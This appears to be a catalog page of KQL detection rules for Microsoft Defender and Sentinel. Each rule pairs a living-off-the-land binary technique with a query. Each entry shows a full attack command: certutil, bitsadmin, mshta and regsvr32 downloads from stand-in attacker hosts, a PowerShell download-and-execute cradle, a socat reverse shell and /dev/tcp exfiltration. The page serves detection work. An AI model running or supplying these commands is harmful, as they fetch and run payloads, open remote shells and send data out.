Microsoft Defender & Sentinel (Kusto Query Language)
Kusto Query Language queries optimized for Microsoft Defender XDR Advanced Hunting and Microsoft Sentinel. Rules filter by process names, weaponized parameters, and parent process anomalies.
KQL Rule Catalog
Showing 1–25 of 521 rulesDownload an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe1DeviceProcessEvents2| where FileName =~ "certutil.exe"3| where ProcessCommandLine has_any ("-urlcache", "/urlcache") and ProcessCommandLine has_any ("-split", "/split", "-f", "/f")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineDecode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.
certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe1DeviceProcessEvents2| where FileName =~ "certutil.exe"3| where ProcessCommandLine has_any ("-decode", "/decode", "-decodehex", "/decodehex")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineExecutes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))1DeviceProcessEvents2| where FileName =~ "mshta.exe"3| where ProcessCommandLine has_any ("vbscript:", "javascript:", "about:", "http://", "https://")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineFetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.
mshta.exe http://malicious.domain/payload.hta1DeviceProcessEvents2| where FileName =~ "mshta.exe"3| where ProcessCommandLine has_any ("http://", "https://")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineExecute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")1DeviceProcessEvents2| where FileName =~ "rundll32.exe"3| where ProcessCommandLine has_any ("javascript:", "vbscript:", "mshtml", "RunHTMLApplication")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineExecute an exported entrypoint function inside a dropped DLL located in an untrusted directory.
rundll32.exe C:\Users\Public\malware.dll,StartW1DeviceProcessEvents2| where FileName =~ "rundll32.exe"3| where ProcessCommandLine has_any ("C:\\Users\\Public\\", "C:\\Users\\", "C:\\ProgramData\\", "\\AppData\\Local\\Temp\\")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineCreates a high-priority background transfer job to download a remote payload into the Windows Temp folder.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe1DeviceProcessEvents2| where FileName =~ "bitsadmin.exe"3| where ProcessCommandLine has_any ("/transfer", "/create", "/addfile") and ProcessCommandLine has_any ("http://", "https://")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineExecute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll1DeviceProcessEvents2| where FileName =~ "regsvr32.exe"3| where ProcessCommandLine has_any ("/i:http://", "/i:https://", "scrobj.dll")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineBypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"1DeviceProcessEvents2| where FileName in~ ("powershell.exe", "pwsh.exe")3| where ProcessCommandLine has_any ("DownloadString", "Net.WebClient", "IEX", "Invoke-Expression")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineExecutes a Unicode Base64-encoded command string to evade command-line pattern matching.
powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==1DeviceProcessEvents2| where FileName in~ ("powershell.exe", "pwsh.exe")3| where ProcessCommandLine has_any ("-enc", "-EncodedCommand", "/enc", "/EncodedCommand")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineAbuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.
wmic.exe process call create "powershell.exe -w hidden -enc ..."1DeviceProcessEvents2| where FileName =~ "wmic.exe"3| where ProcessCommandLine has_all ("process", "call", "create")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineRuns a VBScript quietly without banner or user alerts from a temporary location.
cscript.exe //B //Nologo %TEMP%\recon.vbs1DeviceProcessEvents2| where FileName in~ ("cscript.exe", "wscript.exe")3| where ProcessCommandLine has_any ("\\Temp\\", "\\AppData\\", "\\Public\\")4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineAddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "AddinUtil.exe"5| where ProcessCommandLine has_any ("AddinUtil")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descAppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
start ms-appinstaller://?source={REMOTEURL:.exe}1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Download3DeviceProcessEvents4| where FileName =~ "AppInstaller.exe"5| where ProcessCommandLine has_any ("AppInstaller")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descLaunches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Defense Evasion3DeviceProcessEvents4| where FileName =~ "Applaunch.exe"5| where ProcessCommandLine has_any ("Applaunch")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExecute C# code with the Build Provider and proper folder structure in place.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Defense Evasion3DeviceProcessEvents4| where FileName =~ "Aspnet_Compiler.exe"5| where ProcessCommandLine has_any ("Aspnet_Compiler")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descCreate a recurring task to execute every day at a specific time.
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "At.exe"5| where ProcessCommandLine has_any ("At")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descStart a registered Assistive Technology (AT).
ATBroker.exe /start malware1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "Atbroker.exe"5| where ProcessCommandLine has_any ("Atbroker")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExecutes executable from bash.exe
bash.exe -c "{CMD}"1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "Bash.exe"5| where ProcessCommandLine has_any ("Bash")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExecutes a reverse shell
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "Bash.exe"5| where ProcessCommandLine has_any ("Bash")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExfiltrate data
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "Bash.exe"5| where ProcessCommandLine has_any ("Bash")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExecutes executable from bash.exe
bash.exe -c "{CMD}"1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Defense Evasion3DeviceProcessEvents4| where FileName =~ "Bash.exe"5| where ProcessCommandLine has_any ("Bash")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descWhen executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
bash.exe1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "Bash.exe"5| where ProcessCommandLine has_any ("Bash")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descLoads the target DLL file
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Execute3DeviceProcessEvents4| where FileName =~ "CertOC.exe"5| where ProcessCommandLine has_any ("CertOC")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descDownloads text formatted files
certoc.exe -GetCACAPS {REMOTEURL:.ps1}1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Download3DeviceProcessEvents4| where FileName =~ "CertOC.exe"5| where ProcessCommandLine has_any ("CertOC")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp desc